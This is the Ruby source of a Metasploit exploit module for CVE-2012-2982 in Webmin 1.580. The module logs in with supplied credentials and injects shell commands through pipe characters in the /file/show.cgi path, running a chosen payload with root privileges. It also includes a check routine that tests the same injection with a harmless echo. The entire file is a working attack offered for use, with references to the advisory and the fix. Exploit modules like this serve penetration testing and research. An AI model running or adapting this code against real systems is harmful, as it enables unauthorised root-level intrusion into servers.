## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Webmin /file/show.cgi Remote Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in Webmin 1.580. The vulnerability exists in the /file/show.cgi component and allows an authenticated user, with access to the File Manager Module, to execute arbitrary commands with root privileges. The module has been tested successfully with Webim 1.580 over Ubuntu 10.04. }, 'Author' => [ 'Unknown', # From American Information Security Group 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['OSVDB', '85248'], ['BID', '55446'], ['CVE', '2012-2982'], ['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-001.pdf'], ['URL', 'https://github.com/webmin/webmin/commit/1f1411fe7404ec3ac03e803cfa7e01515e71a213'] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby python bash telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Webim 1.580', { }]], 'DisclosureDate' => 'Sep 06 2012', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(10000), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('USERNAME', [true, 'Webmin Username']), OptString.new('PASSWORD', [true, 'Webmin Password']) ], self.class) end def check peer = "#{rhost}:#{rport}" vprint_status("#{peer} - Attempting to login...") data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}" res = send_request_cgi( { 'method' => 'POST', 'uri' => "/session_login.cgi", 'cookie' => "testing=1", 'data' => data }, 25) if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/ vprint_good "#{peer} - Authentication successful" session = res.headers['Set-Cookie'].split("sid=")[1].split(";")[0] else vprint_error "#{peer} - Service found, but authentication failed" return Exploit::CheckCode::Detected end vprint_status("#{peer} - Attempting to execute...") command = "echo #{rand_text_alphanumeric(rand(5) + 5)}" res = send_request_cgi( { 'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|", 'cookie' => "sid=#{session}" }, 25) if res and res.code == 200 and res.message =~ /Document follows/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def exploit peer = "#{rhost}:#{rport}" print_status("#{peer} - Attempting to login...") data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}" res = send_request_cgi( { 'method' => 'POST', 'uri' => "/session_login.cgi", 'cookie' => "testing=1", 'data' => data }, 25) if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/ session = res.headers['Set-Cookie'].scan(/sid\=(\w+)\;*/).flatten[0] || '' if session and not session.empty? print_good "#{peer} - Authentication successfully" else print_error "#{peer} - Authentication failed" return end print_good "#{peer} - Authentication successfully" else print_error "#{peer} - Authentication failed" return end print_status("#{peer} - Attempting to execute the payload...") command = payload.encoded res = send_request_cgi( { 'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|", 'cookie' => "sid=#{session}" }, 25) if res and res.code == 200 and res.message =~ /Document follows/ print_good "#{peer} - Payload executed successfully" else print_error "#{peer} - Error executing the payload" return end end end